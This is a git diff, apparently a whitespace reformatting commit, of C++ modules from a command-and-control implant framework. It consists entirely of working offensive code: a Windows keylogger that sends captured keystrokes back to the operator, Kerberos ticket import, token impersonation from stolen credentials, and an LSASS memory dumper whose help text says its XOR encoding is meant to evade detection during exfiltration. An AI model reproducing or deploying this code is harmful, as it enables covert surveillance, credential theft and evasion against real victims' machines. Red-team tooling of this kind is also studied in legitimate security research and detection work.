c2RetMessage.set_returnvalue(out);
return 0;
}
std::string KerberosUseTicket::importTicket(const std::string& ticket)
{
std::string result;
std::string result;
#ifdef __linux__
@@ -165,7 +165,7 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
ULONG submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticket.size();
PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize))
{
{
pKerbSubmit->MessageType = KerbSubmitTicketMessage;
pKerbSubmit->KerbCredSize = ticket.size();
pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
@@ -189,5 +189,5 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
#endif
return result;
return result;
}
@@ -7,20 +7,20 @@ class KerberosUseTicket : public ModuleCmd
{
public:
KerberosUseTicket();
~KerberosUseTicket();
KerberosUseTicket();
~KerberosUseTicket();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
std::string importTicket(const std::string& ticket);
std::string importTicket(const std::string& ticket);
};
+124 -124
View File
@@ -34,12 +34,12 @@ __attribute__((visibility("default"))) KeyLogger* KeyLoggerConstructor()
KeyLogger::KeyLogger()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
m_isThreadLaunched=false;
m_isThreadLaunched=false;
}
KeyLogger::~KeyLogger()
@@ -48,74 +48,74 @@ KeyLogger::~KeyLogger()
std::string KeyLogger::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "keyLogger:\n";
info += "keyLogger \n";
info += "exemple:\n";
info += "- keyLogger start\n";
info += "- keyLogger stop\n";
info += "- keyLogger dump\n";
info += "keyLogger:\n";
info += "keyLogger \n";
info += "exemple:\n";
info += "- keyLogger start\n";
info += "- keyLogger stop\n";
info += "- keyLogger dump\n";
#endif
return info;
return info;
}
int KeyLogger::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() >= 2 )
{
if(splitedCmd[1]=="start")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="stop")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="dump")
{
std::string output = "Dump:\n";
output+=m_saveKeyStrock;
c2Message.set_returnvalue(output);
m_saveKeyStrock="";
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
if (splitedCmd.size() >= 2 )
{
if(splitedCmd[1]=="start")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="stop")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="dump")
{
std::string output = "Dump:\n";
output+=m_saveKeyStrock;
c2Message.set_returnvalue(output);
m_saveKeyStrock="";
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
int KeyLogger::recurringExec(C2Message& c2RetMessage)
{
std::string output;
dumpKeys(output);
std::string output;
dumpKeys(output);
c2RetMessage.set_instruction(std::to_string(getHash()));
c2RetMessage.set_data(output);
return 1;
c2RetMessage.set_instruction(std::to_string(getHash()));
c2RetMessage.set_data(output);
return 1;
}
int KeyLogger::followUp(const C2Message &c2RetMessage)
{
m_saveKeyStrock+=c2RetMessage.data();
m_saveKeyStrock+=c2RetMessage.data();
return 0;
return 0;
}
@@ -124,15 +124,15 @@ void KeyLogger::run(void* keyLoggerPtr)
#ifdef __linux__
#elif _WIN32
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
while (data->getIsThreadLaunched())
while (data->getIsThreadLaunched())
{
// note looking ofr backspace
// note looking ofr backspace
// for (int i = 0x8; i < 0xFE; i++)
for (int i = 0x8; i < 0xFE; i++)
for (int i = 0x8; i < 0xFE; i++)
{
if (i != VK_LSHIFT
if (i != VK_LSHIFT
&& i != VK_RSHIFT
&& i != VK_SHIFT
&& i != VK_LCONTROL
@@ -142,37 +142,37 @@ void KeyLogger::run(void* keyLoggerPtr)
&& i != VK_RMENU
&& i != VK_MENU)
{
short keyState = GetAsyncKeyState(i);
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x01))
{
HKL keyboardLayout = GetKeyboardLayout(0);
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((keyState & 0x01))
{
HKL keyboardLayout = GetKeyboardLayout(0);
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
if(key!=0)
{
BYTE keystate[256];
GetKeyboardState(keystate);
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
if(key!=0)
{
BYTE keystate[256];
GetKeyboardState(keystate);
char finalCharPressed;
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
char finalCharPressed;
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
data->setKey(finalCharPressed);
}
}
}
data->setKey(finalCharPressed);
}
}
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(5));
std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
#endif
@@ -186,59 +186,59 @@ void KeyLogger::run(void* keyLoggerPtr)
int KeyLogger::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2Message.instruction());
std::string args = c2Message.args();
c2RetMessage.set_instruction(c2Message.instruction());
std::string args = c2Message.args();
if( args == "start")
{
if(m_isThreadLaunched==false)
{
m_isThreadLaunched=true;
if( args == "start")
{
if(m_isThreadLaunched==false)
{
m_isThreadLaunched=true;
#ifdef __linux__
#elif _WIN32
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
#endif
c2RetMessage.set_returnvalue("launched");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
}
}
else if( args == "stop")
{
if(m_isThreadLaunched==true)
{
m_isThreadLaunched=false;
c2RetMessage.set_returnvalue("stoped");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
}
c2RetMessage.set_returnvalue("launched");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
}
}
else if( args == "stop")
{
if(m_isThreadLaunched==true)
{
m_isThreadLaunched=false;
c2RetMessage.set_returnvalue("stoped");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
}
return 0;
return 0;
}
int KeyLogger::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_ALREADY_LAUNCHED)
errorMsg = "Failed: Already launched";
else if(errorCode==ERROR_ALREADY_STOPED)
errorMsg = "Failed: Already stoped";
else if(errorCode==ERROR_UNKNOWN)
errorMsg = "Failed: error unknown";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_ALREADY_LAUNCHED)
errorMsg = "Failed: Already launched";
else if(errorCode==ERROR_ALREADY_STOPED)
errorMsg = "Failed: Already stoped";
else if(errorCode==ERROR_UNKNOWN)
errorMsg = "Failed: error unknown";
}
#endif
return 0;
return 0;
}
+33 -33
View File
@@ -8,48 +8,48 @@ class KeyLogger : public ModuleCmd
{
public:
KeyLogger();
~KeyLogger();
KeyLogger();
~KeyLogger();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int recurringExec(C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int recurringExec(C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
bool getIsThreadLaunched()
{
return m_isThreadLaunched;
}
bool getIsThreadLaunched()
{
return m_isThreadLaunched;
}
int setKey(char charPressed)
{
std::lock_guard<std::mutex> guard(m_mutex);
m_saveKeyStrock.push_back(charPressed);
return 0;
}
int setKey(char charPressed)
{
std::lock_guard<std::mutex> guard(m_mutex);
m_saveKeyStrock.push_back(charPressed);
return 0;
}
int dumpKeys(std::string& output)
{
std::lock_guard<std::mutex> guard(m_mutex);
output = m_saveKeyStrock;
m_saveKeyStrock.clear();
return 0;
}
int dumpKeys(std::string& output)
{
std::lock_guard<std::mutex> guard(m_mutex);
output = m_saveKeyStrock;
m_saveKeyStrock.clear();
return 0;
}
private:
int threadID;
bool m_isThreadLaunched;
std::string m_saveKeyStrock;
std::mutex m_mutex;
int threadID;
bool m_isThreadLaunched;
std::string m_saveKeyStrock;
std::mutex m_mutex;
static void run(void* keyLoggerPtr);
static void run(void* keyLoggerPtr);
};
+16 -16
View File
@@ -33,9 +33,9 @@ __attribute__((visibility("default"))) ListDirectory * ListDirectoryConstructor(
ListDirectory::ListDirectory()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -46,7 +46,7 @@ ListDirectory::~ListDirectory()
std::string ListDirectory::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "ListDirectory Module:\n";
info += "List the contents of a directory on the victim machine.\n";
@@ -55,7 +55,7 @@ std::string ListDirectory::getInfo()
info += "- ls /tmp\n";
info += "- ls C:\\Users\\Public\n";
#endif
return info;
return info;
}
int ListDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
@@ -68,22 +68,22 @@ int ListDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Messa
path+=splitedCmd[idx];
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(path);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(path);
return 0;
return 0;
}
int ListDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
{
string path = c2Message.cmd();
std::string outCmd = listDirectory(path);
string path = c2Message.cmd();
std::string outCmd = listDirectory(path);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(path);
c2RetMessage.set_returnvalue(outCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(path);
c2RetMessage.set_returnvalue(outCmd);
return 0;
return 0;
}
struct HumanReadable {
@@ -179,11 +179,11 @@ std::string ListDirectory::listDirectory(const std::string& path)
}
}
catch (const std::exception &exc)
{
result += "Error: ";
{
result += "Error: ";
result += exc.what();
result += "\n";
}
return result;
return result;
}
+8 -8
View File
@@ -7,20 +7,20 @@ class ListDirectory : public ModuleCmd
{
public:
ListDirectory();
~ListDirectory();
ListDirectory();
~ListDirectory();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string listDirectory(const std::string& path);
std::string listDirectory(const std::string& path);
};
+59 -59
View File
@@ -267,21 +267,21 @@ std::string getProcessInfos(DWORD processID, std::string& processName)
result += "\n";
}
else
{
std::string account="";
std::string arch = " ";
result += account;
int size = max(1, (int)(30 - account.size()));
result += std::string(size, ' ');
result += arch;
result += " ";
result += processName;
size = max(1, (int)(40 - processName.size()));
result += std::string(size, ' ');
result += std::to_string(processID);
result += "\n";
}
{
std::string account="";
std::string arch = " ";
result += account;
int size = max(1, (int)(30 - account.size()));
result += std::string(size, ' ');
result += arch;
result += " ";
result += processName;
size = max(1, (int)(40 - processName.size()));
result += std::string(size, ' ');
result += std::to_string(processID);
result += "\n";
}
CloseHandle( hProcess );
@@ -294,41 +294,41 @@ std::string GetProcess()
std::string result;
int pid = 0;
PVOID buffer = NULL;
DWORD bufSize = 0;
NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize);
if (bufSize == 0)
return "GetProcess Failed";
buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer;
if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize))
PVOID buffer = NULL;
DWORD bufSize = 0;
NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize);
if (bufSize == 0)
return "GetProcess Failed";
buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer;
if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize))
return "pNtQuerySystemInformation Failed";
while (TRUE)
{
std::string processName;
for(int i=0; i<sysproc_info->ImageName.Length; i++)
{
if((char)sysproc_info->ImageName.Buffer[i]=='\0')
break;
processName.push_back((char)sysproc_info->ImageName.Buffer[i]);
}
result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName);
if (!sysproc_info->NextEntryOffset)
break;
sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset);
}
VirtualFree(buffer, bufSize, MEM_RELEASE);
{
std::string processName;
for(int i=0; i<sysproc_info->ImageName.Length; i++)
{
if((char)sysproc_info->ImageName.Buffer[i]=='\0')
break;
processName.push_back((char)sysproc_info->ImageName.Buffer[i]);
}
result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName);
if (!sysproc_info->NextEntryOffset)
break;
sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset);
}
VirtualFree(buffer, bufSize, MEM_RELEASE);
return result;
}
@@ -359,9 +359,9 @@ __attribute__((visibility("default"))) ListProcesses* ListProcessesConstructor(
ListProcesses::ListProcesses()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -372,7 +372,7 @@ ListProcesses::~ListProcesses()
std::string ListProcesses::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "ListProcesses Module:\n";
info += "List all running processes on the victim machine.\n";
@@ -380,26 +380,26 @@ std::string ListProcesses::getInfo()
info += "\nExamples:\n";
info += "- ps\n";
#endif
return info;
return info;
}
int ListProcesses::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
return 0;
return 0;
}
int ListProcesses::process(C2Message &c2Message, C2Message &c2RetMessage)
{
std::string outCmd = listProcesses();
std::string outCmd = listProcesses();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(outCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(outCmd);
return 0;
return 0;
}
@@ -417,5 +417,5 @@ std::string ListProcesses::listProcesses()
#endif
return result;
return result;
}
+8 -8
View File
@@ -7,20 +7,20 @@ class ListProcesses : public ModuleCmd
{
public:
ListProcesses();
~ListProcesses();
ListProcesses();
~ListProcesses();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string listProcesses();
std::string listProcesses();
};
+14 -14
View File
@@ -46,9 +46,9 @@ __attribute__((visibility("default"))) MakeToken* MakeTokenConstructor()
MakeToken::MakeToken()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -59,14 +59,14 @@ MakeToken::~MakeToken()
std::string MakeToken::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "makeToken:\n";
info += "Create a token from user and password and impersonate it. \n";
info += "exemple:\n";
info += "- makeToken DOMAIN\\Username Password\n";
info += "makeToken:\n";
info += "Create a token from user and password and impersonate it. \n";
info += "exemple:\n";
info += "- makeToken DOMAIN\\Username Password\n";
#endif
return info;
return info;
}
int MakeToken::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
@@ -104,13 +104,13 @@ int MakeToken::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
c2Message.set_cmd(cmd);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
@@ -147,7 +147,7 @@ int MakeToken::process(C2Message &c2Message, C2Message &c2RetMessage)
// https://github.com/rapid7/meterpreter/blob/master/source/extensions/kiwi/mimikatz/modules/kuhl_m_token.c
std::string MakeToken::makeToken(const std::string& username, const std::string& domain, const std::string& password)
{
std::string result;
std::string result;
#ifdef __linux__
+4 -4
View File
@@ -7,10 +7,10 @@ class MakeToken : public ModuleCmd
{
public:
MakeToken();
~MakeToken();
MakeToken();
~MakeToken();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
@@ -21,7 +21,7 @@ public:
}
private:
std::string makeToken(const std::string& username, const std::string& domain, const std::string& password);
std::string makeToken(const std::string& username, const std::string& domain, const std::string& password);
};
+346 -346
View File
@@ -38,9 +38,9 @@ struct Memory64Info
// Constructor for convenience
Memory64Info(void* address, SIZE_T size)
: Address(address), Size(size)
{
{
}
}
};
@@ -78,7 +78,7 @@ typedef struct _MiniDumpSystemInfo
ULONG32 BuildNumber;
ULONG32 PlatformId;
ULONG32 UnknownField1;
ULONG32 UnknownField1;
ULONG32 UnknownField2;
ULONG32 ProcessorFeatures;
ULONG32 ProcessorFeatures2;
@@ -116,7 +116,7 @@ typedef struct _MiniDumpLocationDescriptor
typedef struct _MiniDumpModule
{
ULONG32 NumberOfModules;
ULONG32 NumberOfModules;
ULONG64 BaseOfImage;
ULONG32 SizeOfImage;
ULONG32 CheckSum;
@@ -132,7 +132,7 @@ typedef struct _MiniDumpModule
typedef struct _ModuleSize
{
ULONG32 size;
ULONG32 size;
} ModuleSize, *PModuleSize;
@@ -140,14 +140,14 @@ typedef struct _ModuleSize
typedef struct _MiniDumpMemory64ListStream
{
uint64_t NumberOfEntries;
uint64_t MemoryRegionsBaseAddress;
uint64_t MemoryRegionsBaseAddress;
} MiniDumpMemory64ListStream, *PMiniDumpMemory64ListStream;
typedef struct _MiniDumpMemory64Info
{
uint64_t address;
uint64_t size;
uint64_t size;
} MiniDumpMemory64Info, *PMiniDumpMemory64Info;
@@ -170,9 +170,9 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor()
MiniDump::MiniDump()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
@@ -187,21 +187,21 @@ MiniDump::~MiniDump()
std::string MiniDump::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "MiniDump Module:\n";
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
info += "Usage:\n";
info += " miniDump dump dmpFile.xored\n";
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
info += " miniDump decrypt <path_to_xored_dump>\n";
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
info += "Note:\n";
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
info += "MiniDump Module:\n";
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
info += "Usage:\n";
info += " miniDump dump dmpFile.xored\n";
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
info += " miniDump decrypt <path_to_xored_dump>\n";
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
info += "Note:\n";
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
#endif
return info;
return info;
}
@@ -214,61 +214,61 @@ int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
{
c2Message.set_cmd(dumpCmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_outputfile(splitedCmd[2]);
return 0;
}
else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt")
{
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
{
c2Message.set_cmd(dumpCmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_outputfile(splitedCmd[2]);
return 0;
}
else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt")
{
std::string filename = splitedCmd[2];
std::ifstream dumpfile(filename, std::ios::binary);
if (dumpfile)
{
dumpfile.seekg(0, std::ios::end);
std::streamsize size = dumpfile.tellg();
dumpfile.seekg(0, std::ios::beg);
std::string filename = splitedCmd[2];
std::ifstream dumpfile(filename, std::ios::binary);
if (dumpfile)
{
dumpfile.seekg(0, std::ios::end);
std::streamsize size = dumpfile.tellg();
dumpfile.seekg(0, std::ios::beg);
std::string buffer(size, '\0');
std::string buffer(size, '\0');
if (!dumpfile.read(&buffer[0], size))
{
c2Message.set_returnvalue("Error: read file");
return -1;
}
if (!dumpfile.read(&buffer[0], size))
{
c2Message.set_returnvalue("Error: read file");
return -1;
}
XOR(buffer, xorKey);
XOR(buffer, xorKey);
std::string outputFilePath = filename+".dmp";
std::ofstream outputFile(outputFilePath, std::ios::binary);
if (outputFile)
{
outputFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
outputFile.close();
}
std::string outputFilePath = filename+".dmp";
std::ofstream outputFile(outputFilePath, std::ios::binary);
if (outputFile)
{
outputFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
outputFile.close();
}
std::string outputMsg = "Output file: ";
outputMsg+=outputFilePath;
c2Message.set_returnvalue(outputMsg);
return -1;
}
else
{
c2Message.set_returnvalue("Error: file not found");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
std::string outputMsg = "Output file: ";
outputMsg+=outputFilePath;
c2Message.set_returnvalue(outputMsg);
return -1;
}
else
{
c2Message.set_returnvalue("Error: file not found");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
@@ -323,10 +323,10 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
const size_t MAX_ITER = 32; // cap to avoid infinite loop (32 * 512 = 16 KB)
for (size_t iter = 0; iter < MAX_ITER; ++iter)
{
{
NTSTATUS ntstatus = Sw3NtReadVirtualMemory_(hProcess, cur_addr, buffer, CHUNK_BYTES, &bytesRead);
if (ntstatus != 0 || bytesRead == 0)
{
{
break;
}
@@ -336,9 +336,9 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
bool foundNull = false;
for (SIZE_T i = 0; i < wcharCount; ++i)
{
{
if (wptr[i] == L'\0')
{
{
foundNull = true;
break;
}
@@ -346,7 +346,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
}
if (foundNull)
{
{
break;
}
@@ -355,7 +355,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
}
if (wacc.empty())
{
{
return std::string();
}
@@ -366,7 +366,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
// Convert to UTF-8
int required = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (required <= 0)
{
{
return std::string();
}
std::string out(required - 1, '\0'); // exclude terminating null
@@ -399,7 +399,7 @@ typedef NTSTATUS (NTAPI *PFN_NtQueryInformationProcess)(
std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std::string &moduleName)
{
std::vector<ModuleInformation> modules;
std::vector<ModuleInformation> modules;
int process_basic_information_size = 48;
int peb_offset = 0x8;
@@ -409,13 +409,13 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
int flink_buffer_fulldllname_offset = 0x40;
int flink_buffer_offset = 0x50;
PROCESS_BASIC_INFORMATION pbi;
PROCESS_BASIC_INFORMATION pbi;
ULONG ReturnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
NTSTATUS ntstatus = pNtQuery(hProcess, ProcessBasicInformation, &pbi, (ULONG)process_basic_information_size, &ReturnLength);
if (ntstatus != 0)
{
{
return modules;
}
@@ -427,7 +427,7 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
void* dll_base = (void*)1337;
while (dll_base != NULL)
{
{
next_flink = (void*)((uintptr_t)next_flink - 0x10);
// Get DLL base address
@@ -440,14 +440,14 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
std::string full_dll_name = ReadRemoteWStr(hProcess, full_dll_name_addr);
if (dll_base != 0 && (moduleName.empty() || ci_contains(base_dll_name, moduleName)))
{
ModuleInformation mi;
memset(&mi, 0, sizeof(mi));
strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1);
strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1);
mi.dll_base = dll_base;
mi.size = 0;
modules.push_back(mi);
{
ModuleInformation mi;
memset(&mi, 0, sizeof(mi));
strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1);
strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1);
mi.dll_base = dll_base;
mi.size = 0;
modules.push_back(mi);
}
next_flink = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + 0x10));
@@ -459,24 +459,24 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
DWORD GetPidByName(const char * pName)
{
PROCESSENTRY32 pEntry;
HANDLE snapshot;
PROCESSENTRY32 pEntry;
